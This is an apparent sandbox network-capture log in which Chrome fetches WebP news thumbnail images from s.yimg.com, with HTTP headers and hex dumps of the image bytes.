2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 63 43 25 7b 17 9f 57 6a d0 29 90 4c 5a 68 e3 a0 c6 a6 42 f6 94 70 80 7f 1b 2f a2 46 8d fb 7a ee 85 2f e8 7a f8 63 5a ef 71 0d 44 82 9c 49 93 47 83 23 f0 8e e2 77 4c 1c ba f2 d3 ff e5 97 2c a7 ed 48 b8 33 cd 5b a4 35 ef 78 db d7 62 0c 18 4c f2 ae f1 ea 78 25 db 9d d8 d4 63 06 7e f8 fc f5 c3 a1 09 19 a2 d1 69 66 5e 83 6e fc c0 12 11 84 7f e9 60 03 9d 40 38 92 fa a2 97 59 a1 b9 09 c7 47 de 61 6f c1 42 07 7a 66 f6 48 80 d7 57 ae 50 21 12 fe 5f 4d 3b 8e 63 5c 84 07 c0 54 c4 1f 5f 94 ee e0 27 95 4f e6 38 05 1b e7 4b 7f 7c 2e 35 dd 9b 5e 50 cc 46 53 4e 09 a0 90 29 df f4 95 86 88 ed e8 50 6b 52 58 f0 d0 c5 68 cb e2 ed 1e 62 dd 48 f7 29 3a ea 6e 2b 8f 39 23 f0 67 c4 8e fe 33 e4 21 f8 7a bb ea 11 42 59 df 7b c0 90 c6 74 6a 7e 7b 56 19 81 f8 51 65 f4 53 56 2e f9 61 Data Ascii: cC%{Wj)LZhBp/Fz/zcZqDIG#wL,H3[5xbLx%c~if^n`@8YGaoBzfHWP!_M;c\T_'O8K\|.5^PFSN)PkRXhbH):n+9#g3!zBY{tj~{VQeSV.a
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 23 d3 af 2f 73 ea 2f 1a e8 5c 4c 7e 38 87 11 37 8c 60 09 e7 e1 2c 1e 31 f0 85 7a 1a f9 c6 92 ad dc 54 57 28 1c 50 ab 2e cc 88 40 2b 2e e2 e3 47 7a de ea c0 04 22 63 ec 83 ad d6 57 7e 2c 59 de cf fc a0 6e 77 d2 73 89 74 d3 5c 3a 27 46 36 4b 23 c8 b7 b2 56 20 77 8e 3b b9 f1 cb eb b2 5b 5e 4f 06 0b 2b 6f d3 fa 9d 3b ca 70 a1 53 c0 e4 ee 18 2f 34 b1 da 57 3c 53 3a 97 ad 7a a1 56 24 45 74 93 dc c4 8e 49 2f 4a bc bf 8e 77 43 86 c4 8b 2a b2 f5 94 76 14 79 62 3b 84 49 80 b7 52 49 6c a1 8c 84 f5 e2 b4 b2 ec 58 a9 53 48 e4 cf 48 03 07 3f a3 19 a2 4a 4d f5 05 df b8 c8 11 73 a4 19 32 d1 2c b6 9e 36 ea 7c d4 a5 ee 7a 07 3b 00 0f b0 ba 31 2f ef 93 44 3c 36 6a 73 63 83 a7 58 85 ad 1d 2a 2c b2 34 2a 61 45 e6 de d0 74 7d 34 43 82 2b cf 4a 55 b6 13 f0 0f 65 85 b7 43 12 ad Data Ascii: #/s/\L~87`,1zTW(P.@+.Gz"cW~,Ynwst\:'F6K#V w;[^O+o;pS/4W<S:zV$EtI/JwCvyb;IRIlXSHH?JMs2,6\|z;1/D<6jscX,4*aEt}4C+JUeC
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: cc 99 48 2d ad 0c 54 71 be 58 ea d4 df 22 fc be 0d 55 c0 71 d4 c3 9a 7b b9 0d 08 7f 0e 4e 83 2c 42 10 e5 2b f7 25 2b 02 1f 98 c8 03 86 ff 25 6b 75 20 06 18 2e f4 2a 01 b6 c3 24 9e 3c a1 d2 b4 20 30 fa 3b 1a bc c0 25 e8 59 a1 a6 db 55 66 7e e9 5e fc bb 4c 4a ce 57 1e 36 80 3a 45 0e 09 78 dd 36 d5 b2 82 17 81 34 74 2e ca 9b 6e 72 75 e0 48 9d d2 fb cc 2b b5 0a 97 ee 81 2e d9 e9 db 71 0b 1b bf f8 ac 3a 95 b8 e5 cd f7 45 c0 50 bd 59 01 fc fb 86 07 e3 2e b8 a0 7d 16 df b1 d4 8c 8c d2 b5 2b b8 fe e2 1d 67 d0 c8 bc c2 17 b7 3f 67 2c c5 44 73 d1 f4 dd e0 d9 3c fb c8 5b 1f c0 6b 92 7f 86 bb 66 86 6b 17 b8 ef 0b b9 29 72 ee b4 2f bb 5f 50 0b f1 1e 85 64 eb 29 12 09 80 a6 4c e6 69 ff 13 84 db 39 42 a0 dd 1f 12 10 61 17 88 6e 7a a7 17 c1 7c 73 2a c5 cc 99 2c 28 6d 6b Data Ascii: H-TqX"Uq{N,B+%+%ku .$< 0;%YUf~^LJW6:Ex64t.nruH+.q:EPY.}+g?g,Ds<[kfk)r/_Pd)Li9Banz\|s,(mk
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 65 f7 aa 5f 37 7e d9 68 87 a8 db 5f ed 7b c0 45 5d 6b 29 fc 1d 46 b6 0b 96 4a eb ff 35 88 e2 d1 bc fa 87 f9 41 60 32 85 28 b6 f9 9c a4 53 1f 38 59 01 d0 72 38 0c 72 84 54 d7 81 63 6b 5a 3d 83 7f 7c 51 ef c8 2b 7e b2 9f ca db 08 f4 17 a4 ce e1 c9 dc 97 cb 4a 39 af af d2 b8 ed a4 ef 49 42 ed a9 17 55 58 6c 72 d6 99 aa 7b 28 d4 11 cf d9 c3 d0 bf 69 2c 4e 17 a7 47 26 30 46 c7 bb e3 da aa 36 e5 8b 68 53 20 1d 8b f6 97 f1 98 b6 d3 e2 2e c6 76 84 31 68 af ff 49 68 a7 12 fc 0a b7 a6 b1 d3 84 36 54 44 7d 64 8a 8c 5a 39 d8 16 b4 d2 f5 e5 93 be 49 f3 84 e4 55 d4 06 37 5c 10 0b dc 42 d7 67 3f 9f 13 01 62 d8 6b 38 0b c8 43 06 8f 98 03 8f f1 d8 8f 7e d1 fc 44 af 0c ac 70 61 b1 1c 8a b8 2e 2e 98 22 31 8c 2d 81 b5 5a d6 7a 85 07 15 8c 30 be 97 c6 c7 37 d3 2c 6c a1 5c f3 Data Ascii: e_7~h_{E]k)FJ5A`2(S8Yr8rTckZ=\|Q+~J9IBUXlr{(i,NG&0F6hS .v1hIh6TD}dZ9IU7\Bg?bk8C~Dpa.."1-Zz07,l\
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 61 68 bc 37 74 f1 ee 20 f7 06 6c 4b 98 a5 b2 3a 0a 7f b8 e9 fa 2d d0 8b 91 39 dc 51 8d 93 d8 72 6e e7 bc 1f 06 0a d3 24 0e 0c af ec 85 52 0f 15 fb ec a5 36 bf 82 a8 be fc b4 d7 fb 7b f3 bb 3e d1 38 67 ce a8 96 d5 05 eb 75 e6 04 50 97 e1 b7 c4 9f 53 c4 2f aa 50 1f 99 fe 82 e7 35 8a f5 68 fe fb d8 6f 2f 71 6c 5f 14 26 fa c6 9f 65 91 cd 90 df 92 d4 ab 32 07 93 f4 0d 00 14 7f 01 0f 41 73 6f 49 e7 e0 a8 8e 6f 0b d6 f1 f2 47 e9 31 86 66 56 10 fe 09 1a 1d 94 46 f6 31 e2 c9 fd 9c ee cd 08 db ca 12 e2 cb 7c 39 db d4 46 03 9f 58 ab 45 8e ea 20 3d f5 54 71 5f 78 68 03 98 8d c2 c1 cd 68 08 ac 84 f9 48 93 56 f3 59 3e d0 03 4e 63 a9 2d 45 07 d0 cb 09 c3 7b a1 a8 32 9b f5 76 f8 e2 69 cc 7a ec f7 25 5a b7 73 cc f2 6f 27 33 a8 91 91 f0 df c0 d6 6c 98 e1 9b b9 ea f9 44 45 Data Ascii: ah7t lK:-9Qrn$R6{>8guPS/P5ho/ql_&e2AsoIoG1fVF1\|9FXE =Tq_xhhHVY>Nc-E{2viz%Zso'3lDE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	49889	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:55 UTC	751	OUT	GET /uu/api/res/1.2/hpeiTT5J5gj5Yh1JVbkktg--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/fox_news_text_979/40045cfcc7eb21abc7dac4d9fffd740d.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:55 UTC	1290	IN	HTTP/1.1 200 OK Content-Length: 24376 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 309687576166170115390489939514272465343,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="40045cfcc7eb21abc7dac4d9fffd740d.webp" Edge-Cache-Tag: 309687576166170115390489939514272465343,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "dc2dc54bf14403e079610cf4ea39a6b1" Expiration: expiry-date="Fri, 25 Oct 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 27 Apr 2024 22:19:12 GMT Server: ATS Surrogate-Reporting: width=536,height=284,bytes=24376,owidth=1280,oheight=720,obytes=136190,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Sat, 27 Apr 2024 22:19:20 GMT X-Served-By: cache-lga21930-LGA X-Cache: Miss from cloudfront, MISS X-Cache-Hits: 0 X-Timer: S1714256360.360407,VS0,VE52 Age: 1355 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_by: cache-lga21930-LGA cld_latency: 52 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close
2024-04-27 22:41:55 UTC	201	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 52 49 46 46 30 5f 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 20 00 00 00 17 02 00 1b 01 00 49 43 43 50 0c 02 00 00 00 00 02 0c 6c 63 6d 73 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 dc 00 01 00 19 00 03 00 29 00 39 61 63 73 70 41 50 50 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 6c 63 6d 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 64 65 73 63 00 00 00 fc 00 00 00 5e 63 70 72 74 00 00 01 5c 00 00 00 0b 77 74 70 74 00 00 01 68 00 00 00 14 62 6b 70 74 00 00 01 7c 00 00 00 14 72 58 59 5a 00 00 01 90 00 00 00 14 67 58 59 5a 00 00 01 a4 00 00 00 14 62 58 59 5a 00 00 01 b8 00 00 00 14 72 Data Ascii: RIFF0_WEBPVP8X ICCPlcmsmntrRGB XYZ )9acspAPPL-lcmsdesc^cprt\wtpthbkpt\|rXYZgXYZbXYZr
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: f4 55 ff 9e fe 13 6d bf 2d 88 7f dc 62 ce 01 9a 3b b5 0c 63 4b c5 1c e9 1b 10 64 58 39 94 1b 16 56 33 d5 64 d0 52 8a 84 eb 48 c6 f2 56 33 ea 7b df 61 b7 a2 f5 47 cc 76 1e 9b e4 0b c0 20 f6 97 7c 2d 34 e3 f6 3c e2 16 fb 5d ef 43 1b 48 0b c8 a6 d6 ac 60 b8 bf d0 c8 5b 84 1b 31 58 78 49 c0 8b 08 58 a8 78 ad 53 d1 c9 d8 b8 30 c4 5e 13 d8 83 58 09 b4 04 d2 87 d0 5b 47 9e 4b 82 ea e1 24 4d 2d d6 d8 e1 0a b3 a8 2b 32 9b cd 4f 52 cf fd ae 6f 81 10 5e a0 1a 72 a6 4c db 42 ff ce fd 4c 7d 51 f0 d8 3e 26 aa ea 3e f4 c5 37 e1 2d b1 78 ce d7 34 6d bd 1b 9b f3 06 06 43 f8 ac 80 17 cf 8e b0 82 eb ac a7 7b d9 0e f5 43 c6 85 19 d7 31 20 71 64 8f b7 26 08 94 71 1c cb 6f cc d7 8b 06 49 53 1f ad f9 6f 85 6f c8 b9 eb c6 da 61 34 ef c5 c5 3f 44 8e 16 a2 7c 98 f9 75 ae 6a 51 b6 Data Ascii: Um-b;cKdX9V3dRHV3{aGv \|-4<]CH`[1XxIXxS0^X[GK$M-+2ORo^rLBL}Q>&>7-x4mC{C1 qd&qoISooa4?D\|ujQ
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 07 52 55 28 31 60 87 3e d4 57 2a c2 68 79 9b 6a bc 21 52 1a 34 d9 d9 62 c2 4e ae 28 23 85 e2 3e 81 fd ad 92 75 fd 8c f5 59 e1 9d b6 4c 55 4d 0e fc e5 d7 28 3d 34 37 c1 29 9f f6 7c 22 8e a0 bd 95 3b 76 d7 ec 2c cf d2 46 96 c8 1e c7 5f 82 a3 1e e6 4b 25 58 7a 9d 1a d6 71 ae c2 38 d2 88 5e 84 5e ba 00 ff d2 2f bb d4 f7 9e 6c ab a6 8d f5 69 69 b3 a3 66 1b 05 65 c4 5a af cc d4 86 1d 8d 8f 04 9d b2 db 8d 5f a6 eb 41 2d aa cb b4 93 68 b0 d4 37 12 ae a2 e6 f2 6d 31 d8 bc 58 f0 57 ba c4 13 e7 76 66 12 2e c6 9f 6a 37 ab 9d 4a e5 0f c8 9e b9 73 3a c9 64 ed 30 d6 9a bc 24 ab 50 da 25 17 03 41 a4 7c e5 c4 e9 69 7b 59 4b 8b ac ab 4b 05 7d 3d c4 33 39 71 c5 fa f5 c5 6e d1 94 16 78 a6 80 ff fa dc d4 d2 22 e4 53 31 ac e9 43 84 9c 58 53 5d c8 52 95 a4 e8 9a bd e4 8f c9 9c Data Ascii: RU(1`>W*hyj!R4bN(#>uYLUM(=47)\|";v,F_K%Xzq8^^/liifeZ_A-h7m1XWvf.j7Js:d0$P%A\|i{YKK}=39qnx"S1CXS]R
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: eb a3 01 9b ef d7 dc c1 28 42 72 9f a4 75 35 cc 08 a3 d6 bf 7d e9 4c 91 59 7b 5e 83 62 5b 64 a5 5a 63 89 03 a8 03 69 66 4f 2d a9 e6 ee 13 ac b6 db a3 08 43 04 29 01 37 53 59 3d 08 11 ac ae 74 9a 2c 73 2d fe 4e 37 23 8e 12 02 b6 12 e2 34 19 81 a7 80 bb fc 0e fa dd 22 bc 15 cd 42 59 85 b4 8a a5 6d 09 0b 0f ca c3 f7 d3 dd 32 7f 6c fb b8 1f 0b 50 9d 15 b6 0f f4 51 61 00 73 10 18 01 00 f8 40 e2 f7 67 35 b3 7d 54 c8 1d c3 f2 9d 11 20 f6 92 4a 99 c3 38 6c db 6a 59 4c d3 4c dc 13 0b 46 82 46 44 5e 53 1b 3a 43 4e 6d 40 bb 8d b8 83 a2 bc 64 1a d1 0c 61 23 a3 c6 be 29 97 60 d7 4c 54 1b 73 14 19 84 10 18 da 1a de c1 6d 19 ac 42 42 fc 9d 60 d1 5d 3c f9 c2 b8 1f d4 3f 37 0a 3e 14 1e 62 c0 ed d1 42 bc ad 18 2e 97 74 1c e1 f9 a9 54 57 ad c4 d9 08 2e 86 9f b0 7f 05 05 b3 Data Ascii: (Bru5}LY{^b[dZcifO-C)7SY=t,s-N7#4"BYm2lPQas@g5}T J8ljYLLFFD^S:CNm@da#)`LTsmBB`]<?7>bB.tTW.
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: e2 63 dc 6b 4e a5 57 46 a6 d6 38 91 0a 8c 53 01 e4 4a 7d c7 7f 53 d4 54 a2 84 92 40 4b 6f 31 10 57 f6 48 c9 ab c2 ab d2 ef 96 e4 bd 4d c4 5c f9 ee 1f 93 42 e4 b4 83 0b ef 86 52 0c c7 63 03 1e b2 8d 4a 8e 01 02 df 77 2a 83 85 72 ab 0d ce 72 2e 83 18 4b 03 37 59 f4 ae 2a 90 9b 17 ba 4f 54 cc af b4 4d 03 77 47 18 53 05 52 b3 9e 97 d4 d0 30 48 2f bc 9c 74 9e cc e5 29 3f 8c 0b 71 e3 41 1d fc 20 11 4d 1e 7b a1 de 47 8e 91 0c be f1 7d 43 9e fc 81 b6 50 7b 20 ee 59 dc c3 58 10 3e c9 8e 13 2c 01 f7 21 b0 0a db b8 cf 4e 68 d7 85 92 91 a0 81 83 8a a4 3a e4 3f ed 67 d1 e3 c7 f9 09 19 e8 da 05 dd ac 90 e0 b0 33 b8 a0 b2 55 a3 0b c0 85 d7 1a b6 b3 1d da e4 1b b8 92 cd 1d 7a 6e 68 0e 77 55 10 2c 5d 10 db 58 9f 42 af 11 9f cb 1c 09 ef 61 cc 10 cf eb 31 98 cb af 5b 87 c4 Data Ascii: ckNWF8SJ}ST@Ko1WHM\BRcJwrr.K7YOTMwGSR0H/t)?qA M{G}CP{ YX>,!Nh:?g3UznhwU,]XBa1[
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 56 8c 2e 69 23 8a b0 eb dc 1b 56 68 70 9c df 0c 5e 3a 26 79 2e f5 4a 56 b8 6b 96 ac d9 0d 8d 11 a6 82 7c e8 5e d6 21 7b 27 d9 99 b7 0e 41 f5 9b 1e 16 d4 b5 ea 66 a2 59 e2 91 2e db c8 e5 56 42 d7 94 8a ac 84 da 1d 82 e1 1b 36 1b 67 70 87 e5 36 36 de 23 e4 9f 71 b8 c7 f3 f2 61 40 5e 5c dd dc 17 16 d5 f2 92 07 7a d6 3f 15 8a 52 87 68 04 72 46 60 83 ea 69 2f 6b f4 5f c8 b6 85 c7 d4 6f b5 df 48 b8 72 69 58 11 88 e2 b6 dc 26 8f c6 45 d6 7d c1 b3 d1 18 11 26 98 08 6d 5c d9 87 d2 d3 f2 4a 3e e3 66 3d e4 93 45 22 85 9f 70 d5 6d 21 fd 00 2b d8 5b b0 39 48 ce 82 2e 41 40 6f d6 bc e9 47 82 b0 98 e8 c8 d6 a8 85 c8 ac 8b fb bc d1 05 af 9b e3 04 b1 27 8d 09 cc 19 98 a1 1c af f3 00 3b 59 81 6f 0f 78 3c f9 45 a1 40 5d 78 97 8e 54 31 70 f1 d8 fa 9b 2f f8 48 90 7a 50 18 a2 Data Ascii: V.i#Vhp^:&y.JVk\|^!{'AfY.VB6gp66#qa@^\z?RhrF`i/k_oHriX&E}&m\J>f=E"pm!+[9H.A@oG';Yox<E@]xT1p/HzP
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 4d fd af 23 26 99 29 a1 68 80 c8 23 92 d5 db 0d 6e dc d2 d6 8e 83 8e 13 5e c3 dd f5 b8 8c 76 66 ca 9f e9 9e 70 30 23 d4 b1 cf e2 54 e2 d5 1e 02 ce 58 eb 8c 73 35 00 65 dc 61 0e 2c d1 55 5b 46 95 e1 2e 76 4f 18 3c 05 1e 8f 9e 1d 16 31 4a 48 6d f9 e1 63 0f 08 95 5e a9 6f f5 b9 1a 90 68 12 9e 80 b6 aa 3f e8 68 95 27 1f e0 d4 04 eb 75 1d 18 17 d7 b4 20 a9 05 3b b8 e0 be 29 da 18 d0 0c f3 c9 24 ba 37 d4 78 74 a8 9a f6 b3 1a fd 4f 39 2b 0c 6d 5f c2 38 5c 08 aa 61 c7 f7 28 86 b8 50 65 8c 1d 18 30 e9 6a 7c 12 9c 14 41 aa 8a 92 ec 4c d3 5e 0f 1c ef c1 11 8f 9a df 9b b2 fb 04 b7 8d f8 eb 25 c0 64 0d 38 c9 a0 30 b4 e0 5d e9 87 cc 33 92 ba 8d b9 9a f3 b4 33 91 63 38 a6 7e a9 7f b0 84 10 b0 a7 6d cc de a4 bc fd df b6 ae 8b ac 2e a3 80 bc 40 95 41 71 57 f9 df c4 93 38 Data Ascii: M#&)h#n^vfp0#TXs5ea,U[F.vO<1JHmc^oh?h'u ;)$7xtO9+m_8\a(Pe0j\|AL^%d80]33c8~m.@AqW8
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 5d 5e d7 5d 5f 88 4e d2 0d cc 9c d2 ab e6 9d e9 14 ae dd d3 93 85 ab 59 58 53 37 53 17 e2 01 9b ca 73 19 1c 4a 87 01 e0 32 34 9a 72 26 49 ea b7 f2 b4 fd 8a 97 be 92 3f 86 d2 0e 89 f8 32 91 7c 7e 80 53 d9 2c fc 27 68 85 0f 89 fa 9c b1 11 e5 e1 3c 6c a4 92 25 e2 9a cc 1f 3e eb cc a8 5e 5c 55 8f 98 11 45 47 3c 7b 0c 20 21 b6 54 f9 57 83 bf 35 b1 2c b2 fb 70 f0 1d 48 79 41 f3 01 bd 40 2a fb 62 7c 1a 98 3c 96 1d 91 28 be d9 cf 1c 9c 64 0e ff 8f 81 5d 7b d4 4a d1 15 77 10 3b a0 87 5f 77 77 79 24 fc 96 78 ef a7 38 dd 4a 1f ff 74 a3 fd 2d b7 13 7c 8a e2 0a 33 20 46 e5 75 fe 8e bc 67 a3 28 1a 30 85 99 24 14 05 5b 7b d3 80 b0 64 28 b7 cf 23 9e 36 cc ae 23 0b af de 29 7f 66 ff 78 fb 2e 4b 52 a4 db ce e8 f8 c1 84 f4 66 6e 20 46 33 19 d6 bf bb 21 34 e5 35 31 36 a7 fa Data Ascii: ]^]_NYXS7SsJ24r&I?2\|~S,'h<l%>^\UEG<{ !TW5,pHyA@*b\|<(d]{Jw;_wwy$x8Jt-\|3 Fug(0$[{d(#6#)fx.KRfn F3!4516
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 68 0e a1 ee dc 34 a3 fb 1e b0 65 89 97 03 de 2b 39 0e d4 93 41 b4 27 18 e1 bc b5 69 3a c5 15 a8 db ae b3 d5 ac 4d 9b 36 b7 71 8f 13 cf 06 58 ea d7 12 47 c4 67 01 4e 40 ea 9d bf bf e8 e1 c8 14 67 33 6f 2e 17 cb 0f fe c0 30 06 57 a0 71 5d 1f 50 e6 66 2a b7 d2 be 05 dc 92 4e 13 22 b3 31 01 e0 b7 82 3f ab 5b df 62 d1 bb b9 47 cb a4 aa 21 fc dc b2 a1 1d ed 66 20 43 f5 ef 0c 4f 0e ea 63 7b 58 6f 0c 72 a9 0a 5a f1 f8 34 65 ab 54 32 aa 75 b1 16 de 5a b3 bb 3a 21 50 66 2c 1b 84 f4 13 82 69 80 4e 7d bb 18 88 d0 bc 12 e6 c0 ba 5f 1a 0a ca 2d 77 e5 96 45 c5 35 0c 63 45 c9 dd 1b 23 be e5 e9 45 e7 bb c1 83 d0 23 e3 0d 67 6e 56 d5 9e 34 f5 18 bf e8 57 ed af 44 a0 40 bb ad 3b 43 01 b8 58 7a e7 bc 4f 64 f0 24 87 98 9f 1b 15 a6 78 02 be 22 96 f2 e1 e9 3d 1e f8 22 76 e5 36 Data Ascii: h4e+9A'i:M6qXGgN@g3o.0Wq]Pf*N"1?[bG!f COc{XorZ4eT2uZ:!Pf,iN}_-wE5cE#E#gnV4WD@;CXzOd$x"="v6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	49897	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:55 UTC	762	OUT	GET /uu/api/res/1.2/tZay1xySRmlImjQjDsh.RA--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/sacramento_bee_mcclatchy_569/17ba9bec4c2d05668d604a7ee3f22992.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:55 UTC	1299	IN	HTTP/1.1 200 OK Content-Length: 14172 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 228400104066189594538577105660594253893,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="17ba9bec4c2d05668d604a7ee3f22992.webp" Edge-Cache-Tag: 228400104066189594538577105660594253893,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "f427055802f3e052ca6f363aaaa81eae" Last-Modified: Fri, 26 Apr 2024 17:59:34 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=536,height=284,bytes=14172,owidth=1140,oheight=641,obytes=1591595,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: 5b5a75a25b298c330930e48824682a52 Accept-Ranges: bytes Date: Fri, 26 Apr 2024 18:02:50 GMT X-Served-By: cache-iad-kiad7000140-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 0 X-Timer: S1714154570.034976,VS0,VE2 Age: 103145 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block
2024-04-27 22:41:55 UTC	58	IN	Data Raw: 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: X-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-04-27 22:41:55 UTC	1300	IN	Data Raw: 52 49 46 46 54 37 00 00 57 45 42 50 56 50 38 20 48 37 00 00 10 4a 01 9d 01 2a 18 02 1c 01 3e 79 34 96 48 a4 a2 a2 24 25 d1 5d 78 90 0f 09 65 6e 88 80 18 d3 92 4f 3e df ba 32 f7 50 c6 39 47 d1 70 80 7c c4 bf 5d 3a 8f f9 a9 f3 5a f5 0b e7 01 d5 7d bd 25 fb ad fb 19 95 ad 2e 96 d1 fe c5 ea cf 0f bc 85 5b df 9d 12 1e 5b e6 8c d9 67 fe 21 98 c7 5f 28 8c d8 3e ae ae 31 6c 44 41 4a 19 94 e7 cc 74 ce b1 7f c4 43 92 69 1e 19 ef 42 50 24 e7 05 c7 b3 67 ad b1 95 00 69 68 9b fe c9 3b 17 74 29 09 d3 a3 a2 5d 07 0d 06 c7 0d 91 77 72 d2 e0 1d 08 6e 49 52 d3 7c cc ae cf ff b0 ff 8a 4e 8c 31 fd 1e 48 ec 69 c9 09 50 50 1b 06 40 93 8e fa e7 37 23 84 35 85 7e 89 4e 13 4d 0a 8a f9 eb 9a ec 00 00 cc 4e a8 e4 e7 e0 00 2c 66 ce 48 54 87 18 5f 5e ce c5 32 45 cd 27 68 bf c8 74 14 Data Ascii: RIFFT7WEBPVP8 H7J*>y4H$%]xenO>2P9Gp\|]:Z}%.[[g!_(>1lDAJtCiBP$gih;t)]wrnIR\|N1HiPP@7#5~NMN,fHT_^2E'ht
